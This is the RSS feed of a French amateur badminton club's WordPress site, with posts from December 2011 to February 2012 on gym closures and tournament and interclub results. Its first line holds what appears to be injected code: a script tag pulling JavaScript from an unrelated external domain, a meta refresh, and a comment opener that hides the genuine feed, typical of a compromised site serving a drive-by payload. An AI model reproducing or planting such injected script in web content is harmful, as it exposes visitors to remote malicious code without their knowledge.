<script src='http://turnitupnow.net/?rnd=5085%2Fdeef%2Frf.rsbac.www'></script><meta http-equiv='refresh' content='0;url=http://www.cabsr.fr/feed/'><!--<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>CABSR</title>
	<atom:link href="http://www.cabsr.fr/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.cabsr.fr</link>
	<description>Club des Accros de Badminton de Saint Romain de Jalionas</description>
	<lastBuildDate>Fri, 10 Feb 2012 07:32:16 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>VACANCES DE FEVRIER</title>
		<link>http://www.cabsr.fr/2012/02/vacances-de-fevrier/</link>
		<comments>http://www.cabsr.fr/2012/02/vacances-de-fevrier/#comments</comments>
		<pubDate>Thu, 09 Feb 2012 19:09:36 +0000</pubDate>
		<dc:creator>Le Prez</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Agenda]]></category>
		<category><![CDATA[créneaux]]></category>
		<category><![CDATA[fermeture]]></category>
		<category><![CDATA[gymnase]]></category>
		<category><![CDATA[vacances]]></category>

		<guid isPermaLink="false">http://www.cabsr.fr/?p=1477</guid>
		<description><![CDATA[Pendant ces vacances (du 13 au 26 fev 2012), seuls les gymnases de Chavanoz le lundi soir et de St Romain le mardi soir seront ouverts. Les autres créneaux sont fermés jusqu&#8217;à la rentrée. N&#8217;hésitez pas à consulter l&#8217;agenda du club Bonnes vacances à tous et bon ski pour ceux qui ont la chance d&#8217;aller skier ! &#160;]]></description>
			<content:encoded><![CDATA[<p>Pendant ces vacances (du 13 au 26 fev 2012), seuls les gymnases de Chavanoz le lundi soir et de St Romain le mardi soir seront ouverts. Les autres créneaux sont fermés jusqu&#8217;à la rentrée. N&#8217;hésitez pas à consulter l&#8217;<a title="Agenda" href="http://www.cabsr.fr/agenda/">agenda</a> du club<br />
Bonnes vacances à tous et bon ski pour ceux qui ont la chance d&#8217;aller skier !</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cabsr.fr/2012/02/vacances-de-fevrier/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LES JEUNES EN BALLADES</title>
		<link>http://www.cabsr.fr/2012/02/les-jeunes-en-ballades/</link>
		<comments>http://www.cabsr.fr/2012/02/les-jeunes-en-ballades/#comments</comments>
		<pubDate>Mon, 06 Feb 2012 20:44:16 +0000</pubDate>
		<dc:creator>Le Prez</dc:creator>
				<category><![CDATA[Compétitions]]></category>
		<category><![CDATA[compétition]]></category>
		<category><![CDATA[Jeunes]]></category>
		<category><![CDATA[manifestation]]></category>
		<category><![CDATA[tournoi]]></category>

		<guid isPermaLink="false">http://www.cabsr.fr/?p=1458</guid>
		<description><![CDATA[Ce week end certains de nos jeunes étaient en compétition. En effet, Nathan PIERSON et Aurélien DUGOURD se sont déplacés à Voreppe tandis que Robinson BONNARD, Alexandre BARBAROUX et Thibault CALVET se rendaient à Vinay. Tous ont vaillamment défendu nos couleurs. Nos petits poussins étaient donc à Voreppe : Aurélien, dans une poule difficile, perd&#8230;]]></description>
			<content:encoded><![CDATA[<p>Ce week end certains de nos jeunes étaient en compétition. En effet, Nathan PIERSON et Aurélien DUGOURD se sont déplacés à Voreppe tandis que Robinson BONNARD, Alexandre BARBAROUX et Thibault CALVET se rendaient à Vinay.</p>
<p>Tous ont vaillamment défendu nos couleurs.</p>
<p>Nos petits poussins étaient donc à Voreppe :</p>
<p>Aurélien, dans une poule difficile, perd son premier match en 3 set contre Maxence, après un match difficile et disputé. Il doit également s’incliner dans sa deuxième partie face à Oliver classé D3, malgré un second set fantastique perdu 25 à 23! Dommage, ce n’est que partie remise.</p>
<p>Nathan nous fait un tournoi magnifique : dans une poule de 4, Nathan gagne ses deux premiers matchs avant de s’incliner dans le troisième match de poule. L’essentiel est fait : sortie de poule pour jouer un quart de finale! Mais là, le niveau a monté d’un cran, et malgré un bonne résistance, Nathan s’incline….</p>
<p>Non loin de là, nous avions également 3 joueurs engagés sur le tournoi de Vinay.</p>
<p>Très beau tournoi de la part de Robinson qui perd en demi et Alexandre en quart.</p>
<p>Concernant Thibault, les résultats ne m’ont pas été communiqués encore mais ça ne saurait tarder !</p>
<p>Bravo les jeunes !</p>
<object type="application/x-shockwave-flash" data="http://picasaweb.google.com/s/c/bin/slideshow.swf" width="400" height="300">
<param name="movie" value="http://picasaweb.google.com/s/c/bin/slideshow.swf" />
<param name="flashvars" value="host=picasaweb.google.com&amp;captions=1&RGB=0x000000&feed=http%3A%2F%2Fpicasaweb.google.com%2Fdata%2Ffeed%2Fapi%2Fuser%2Fcabsr38%2Falbum%2FTournoiHeadTourVinayFevrier2012%3Fkind%3Dphoto%26alt%3Drss" />
<param name="pluginspage" value="http://www.macromedia.com/go/getflashplayer" />
<param name="wmode" value="transparent">
</object>
    
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cabsr.fr/2012/02/les-jeunes-en-ballades/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Interclub D2 journée 6</title>
		<link>http://www.cabsr.fr/2012/02/interclub-d2-journee-6/</link>
		<comments>http://www.cabsr.fr/2012/02/interclub-d2-journee-6/#comments</comments>
		<pubDate>Fri, 03 Feb 2012 10:31:02 +0000</pubDate>
		<dc:creator>Christophe Garcin</dc:creator>
				<category><![CDATA[Compétitions]]></category>
		<category><![CDATA[compétition]]></category>
		<category><![CDATA[Interclub]]></category>
		<category><![CDATA[Montalieu]]></category>

		<guid isPermaLink="false">http://www.cabsr.fr/?p=1443</guid>
		<description><![CDATA[Pour cette nouvelle journée nous recevions l&#8217;équipe de Montalieu, voici les les résultats : Delphine perd le simple dame en trois sets Joël perd le simple homme également en trois sets Laurence et Delphine perdent le double dames en trois sets Fred et moi gagnons le double hommes en deux sets Laurence et Romain gagnent le double mixte en&#8230;]]></description>
			<content:encoded><![CDATA[<p>Pour cette nouvelle journée nous recevions l&#8217;équipe de Montalieu, voici les les résultats :</p>
<p>Delphine perd le simple dame en trois sets</p>
<p>Joël perd le simple homme également en trois sets</p>
<p>Laurence et Delphine perdent le double dames en trois sets</p>
<p>Fred et moi gagnons le double hommes en deux sets</p>
<p>Laurence et Romain gagnent le double mixte en deux sets</p>
<p>Nous perdons une fois de plus 2-3 avec cette fois-ci les trois matchs perdus en trois sets très accroché autant dire que l&#8217;on croyais tenir le bon bout, c&#8217;est pas faute d&#8217;avoir mis les nouveaux t-shirts officiels du club mais rien n&#8217;y a fait.</p>
<p>&nbsp;</p>
<object type="application/x-shockwave-flash" data="http://picasaweb.google.com/s/c/bin/slideshow.swf" width="400" height="300">
<param name="movie" value="http://picasaweb.google.com/s/c/bin/slideshow.swf" />
<param name="flashvars" value="host=picasaweb.google.com&amp;captions=1&RGB=0x000000&feed=http%3A%2F%2Fpicasaweb.google.com%2Fdata%2Ffeed%2Fapi%2Fuser%2Fcabsr38%2Falbum%2FInterclubJournee6%3Fkind%3Dphoto%26alt%3Drss" />
<param name="pluginspage" value="http://www.macromedia.com/go/getflashplayer" />
<param name="wmode" value="transparent">
</object>
    
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cabsr.fr/2012/02/interclub-d2-journee-6/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Interclub Nord Isère Journée 1</title>
		<link>http://www.cabsr.fr/2012/02/interclub-nord-isere-journee-1/</link>
		<comments>http://www.cabsr.fr/2012/02/interclub-nord-isere-journee-1/#comments</comments>
		<pubDate>Fri, 03 Feb 2012 10:14:01 +0000</pubDate>
		<dc:creator>Christophe Garcin</dc:creator>
				<category><![CDATA[Compétitions]]></category>
		<category><![CDATA[compétition]]></category>
		<category><![CDATA[Interclub]]></category>

		<guid isPermaLink="false">http://www.cabsr.fr/?p=1440</guid>
		<description><![CDATA[Pour cette première journée l&#8217;équipe rencontrais la Tour du Pin à l&#8217;exterieur voici les résultats : Emma gagne le simple dame. Laurent perd le simple homme. Mickaël et laurent perdent de double hommes. Marion et Emelyne perdent le double dames. Emelyne et Mickaël gagnent le double mixte. La première journée à été trés accrochée, il n&#8217;auras pas manqué grand chose à l&#8217;équipe&#8230;]]></description>
			<content:encoded><![CDATA[<p>Pour cette première journée l&#8217;équipe rencontrais la Tour du Pin à l&#8217;exterieur voici les résultats :</p>
<p>Emma gagne le simple dame.</p>
<p>Laurent perd le simple homme.</p>
<p>Mickaël et laurent perdent de double hommes.</p>
<p>Marion et Emelyne perdent le double dames.</p>
<p>Emelyne et Mickaël gagnent le double mixte.</p>
<p>La première journée à été trés accrochée, il n&#8217;auras pas manqué grand chose à l&#8217;équipe pour s&#8217;imposer.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cabsr.fr/2012/02/interclub-nord-isere-journee-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Interclub D3 journée 5</title>
		<link>http://www.cabsr.fr/2012/02/interclub-d3-journee-5/</link>
		<comments>http://www.cabsr.fr/2012/02/interclub-d3-journee-5/#comments</comments>
		<pubDate>Fri, 03 Feb 2012 09:59:01 +0000</pubDate>
		<dc:creator>Christophe Garcin</dc:creator>
				<category><![CDATA[Compétitions]]></category>
		<category><![CDATA[Interclub]]></category>
		<category><![CDATA[Saint Romain de Jalionas]]></category>

		<guid isPermaLink="false">http://www.cabsr.fr/?p=1432</guid>
		<description><![CDATA[L&#8217;équipe se déplaçais à la Verpillière pour cette nouvelle journée voici les resultats : Rémi perd le simple, après avoir bien commencer il s&#8217;incline en trois sets. Emma perd le simple en deux sets mais c&#8217;est bien défendue pour une première. Laurent et Rémi s&#8217;imposent en double hommes en deux sets. Emma et Elodie perdent les&#8230;]]></description>
			<content:encoded><![CDATA[<p>L&#8217;équipe se déplaçais à la Verpillière pour cette nouvelle journée voici les resultats :</p>
<p>Rémi perd le simple, après avoir bien commencer il s&#8217;incline en trois sets.</p>
<p>Emma perd le simple en deux sets mais c&#8217;est bien défendue pour une première.</p>
<p>Laurent et Rémi s&#8217;imposent en double hommes en deux sets.</p>
<p>Emma et Elodie perdent les double dames en deux sets</p>
<p>Elodie et laurent gagnent le double mixte au aux terme d&#8217;un match sérré en trois sets.</p>
<p> C&#8217;ètait une rencontre trés sérrée mais qui n&#8217;a pas penché une fois de plus en faveur des joueurs de Saint Romain.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cabsr.fr/2012/02/interclub-d3-journee-5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Interclub D3 Journée 3</title>
		<link>http://www.cabsr.fr/2012/01/interclub-d3-journee-3/</link>
		<comments>http://www.cabsr.fr/2012/01/interclub-d3-journee-3/#comments</comments>
		<pubDate>Mon, 23 Jan 2012 16:30:51 +0000</pubDate>
		<dc:creator>Christophe Garcin</dc:creator>
				<category><![CDATA[Compétitions]]></category>
		<category><![CDATA[compétition]]></category>
		<category><![CDATA[Interclub]]></category>

		<guid isPermaLink="false">http://www.cabsr.fr/?p=1426</guid>
		<description><![CDATA[L&#8217;équipe se déplaçais à la Tour du Pin pour cette nouvelle journée. Voici les résultats : Elodie gagne le simple en deux sets Rémi gagne le simple par abandon Rémi et Laurent gagnent le double hommes en deux sets Isabelle et Elodie gagnent le double dames en deux sets  Laurent et Isabelle gagnent le double mixte en&#8230;]]></description>
			<content:encoded><![CDATA[<p>L&#8217;équipe se déplaçais à la Tour du Pin pour cette nouvelle journée.</p>
<p>Voici les résultats :</p>
<p>Elodie gagne le simple en deux sets</p>
<p>Rémi gagne le simple par abandon</p>
<p>Rémi et Laurent gagnent le double hommes en deux sets</p>
<p>Isabelle et Elodie gagnent le double dames en deux sets </p>
<p>Laurent et Isabelle gagnent le double mixte en deux sets</p>
<p>Ils gagnent par 5-0 la rencontre, félicitation!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cabsr.fr/2012/01/interclub-d3-journee-3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Interclub D2 journée 5</title>
		<link>http://www.cabsr.fr/2012/01/interclub-d2-journee-5/</link>
		<comments>http://www.cabsr.fr/2012/01/interclub-d2-journee-5/#comments</comments>
		<pubDate>Mon, 23 Jan 2012 16:18:29 +0000</pubDate>
		<dc:creator>Christophe Garcin</dc:creator>
				<category><![CDATA[Compétitions]]></category>
		<category><![CDATA[compétition]]></category>
		<category><![CDATA[Interclub]]></category>

		<guid isPermaLink="false">http://www.cabsr.fr/?p=1422</guid>
		<description><![CDATA[Mardi 3 janvier notre équipe jouais la dernière rencontre des matchs allés face à Brangues. Voici les résultats : Joël gagne le simple homme en deux sets Laurence perd le simple dame en deux sets Romain et moi gagnons le doubles hommes en deux sets Laurence et Valérie perdent le double dames en deux sets&#8230;]]></description>
			<content:encoded><![CDATA[<p>Mardi 3 janvier notre équipe jouais la dernière rencontre des matchs allés face à Brangues.</p>
<p>Voici les résultats :</p>
<p>Joël gagne le simple homme en deux sets</p>
<p>Laurence perd le simple dame en deux sets</p>
<p>Romain et moi gagnons le doubles hommes en deux sets</p>
<p>Laurence et Valérie perdent le double dames en deux sets</p>
<p>Valerie et moi perdont en deux set le double mixtes</p>
<p>Pour la troisième fois nous perdons 2-3, avec des sets très accrochés il faut y voir le bon côté des choses, nous pourrons peut être nous rattraper sur les matchs retours !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cabsr.fr/2012/01/interclub-d2-journee-5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fermeture Créneaux</title>
		<link>http://www.cabsr.fr/2011/12/fermeture-creneaux/</link>
		<comments>http://www.cabsr.fr/2011/12/fermeture-creneaux/#comments</comments>
		<pubDate>Fri, 23 Dec 2011 12:33:51 +0000</pubDate>
		<dc:creator>constant</dc:creator>
				<category><![CDATA[Non classé]]></category>
		<category><![CDATA[fermeture]]></category>

		<guid isPermaLink="false">http://www.cabsr.fr/?p=1411</guid>
		<description><![CDATA[Bonjour, Les créneaux du vendredi 23 et du samedi 24 décembre ne seront pas ouvert. Merci]]></description>
			<content:encoded><![CDATA[<p>Bonjour,<br />
Les créneaux du vendredi 23 et du samedi 24 décembre ne seront pas ouvert.<br />
Merci </p>
]]></content:encoded>
			<wfw:commentRss>http://www.cabsr.fr/2011/12/fermeture-creneaux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Interclub D3 journée 2 et D2 journée 5(date avancée)</title>
		<link>http://www.cabsr.fr/2011/12/interclub-d3-journee-3-et-d2-journee-5date-avancee/</link>
		<comments>http://www.cabsr.fr/2011/12/interclub-d3-journee-3-et-d2-journee-5date-avancee/#comments</comments>
		<pubDate>Tue, 20 Dec 2011 18:05:15 +0000</pubDate>
		<dc:creator>Christophe Garcin</dc:creator>
				<category><![CDATA[Compétitions]]></category>
		<category><![CDATA[compétition]]></category>
		<category><![CDATA[Évènement]]></category>
		<category><![CDATA[Interclub]]></category>

		<guid isPermaLink="false">http://www.cabsr.fr/?p=1403</guid>
		<description><![CDATA[Jeudi dernier aux gymnases de Crémieu nos deux équipes interclubs départementales jouaient en même temps. Les résultats de l&#8217;équipe de D3 qui jouait contre Brangue : Elodie et Isabelle ont perdu le double dame. Laurent B et François ont gagné le double homme. Elodie a perdu le simple dame. Rémi a gagné le simple homme.&#8230;]]></description>
			<content:encoded><![CDATA[<p>Jeudi dernier aux gymnases de Crémieu nos deux équipes interclubs départementales jouaient en même temps.</p>
<p>Les résultats de l&#8217;équipe de D3 qui jouait contre Brangue :</p>
<ul>
<li>Elodie et Isabelle ont perdu le double dame.</li>
<li>Laurent B et François ont gagné le double homme.</li>
<li>Elodie a perdu le simple dame.</li>
<li>Rémi a gagné le simple homme.</li>
<li>Tout reposait donc sur le double mixte comme lors de la dernière journée, Laurent T et Isabelle n&#8217;ont pas réussi l&#8217;emporter cette fois-ci.</li>
<li>Résultat final : défaite 2-3, belle rencontre très accrochée et équilibrée.</li>
</ul>
<p>Les résultats de l&#8217;équipe D2 qui jouait contre la Verpillière :</p>
<ul>
<li>Delphine et Valérie ont perdu le double dame.</li>
<li>Joël et moi avons perdu le double Homme.</li>
<li>Delphine a perdu le simple dame.</li>
<li>Romain a perdu le simple homme.</li>
<li>Valérie et moi avons gagné le double mixte.</li>
<li>Résultat final : défaite 1-4</li>
</ul>
<p>Merci aux supporters qui sont venus soutenir nos deux équipes et à l&#8217;année prochaine pour la suite de la saison !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cabsr.fr/2011/12/interclub-d3-journee-3-et-d2-journee-5date-avancee/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Interclub D2 journée 2</title>
		<link>http://www.cabsr.fr/2011/12/interclub-d2-journee-2-2/</link>
		<comments>http://www.cabsr.fr/2011/12/interclub-d2-journee-2-2/#comments</comments>
		<pubDate>Tue, 20 Dec 2011 17:43:50 +0000</pubDate>
		<dc:creator>Christophe Garcin</dc:creator>
				<category><![CDATA[Compétitions]]></category>
		<category><![CDATA[Non classé]]></category>
		<category><![CDATA[compétition]]></category>
		<category><![CDATA[Interclub]]></category>
		<category><![CDATA[Montalieu]]></category>

		<guid isPermaLink="false">http://www.cabsr.fr/?p=1400</guid>
		<description><![CDATA[Lundi dernier nous avons jouez contre l&#8217;équipe de Montalieu chez eux. Voici les résultats des matchs: Delphine et Laurence ont perdu le double dames en trois sets accroché. Joël et Romain ont gagné le double hommes en deux sets. Laurence a perdu le simple en trois set un match aussi accroché. J&#8217;ai perdu également le simple&#8230;]]></description>
			<content:encoded><![CDATA[<p>Lundi dernier nous avons jouez contre l&#8217;équipe de Montalieu chez eux.</p>
<p>Voici les résultats des matchs:</p>
<p>Delphine et Laurence ont perdu le double dames en trois sets accroché.</p>
<p>Joël et Romain ont gagné le double hommes en deux sets.</p>
<p>Laurence a perdu le simple en trois set un match aussi accroché.</p>
<p>J&#8217;ai perdu également le simple en deux sets</p>
<p>Delphine et Joël on perdu le double mixte.</p>
<p>Résultats final de cette rencontre, défaite 1-4 assez dur, des matchs accrocher se sera pour la prochaine!</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cabsr.fr/2011/12/interclub-d2-journee-2-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

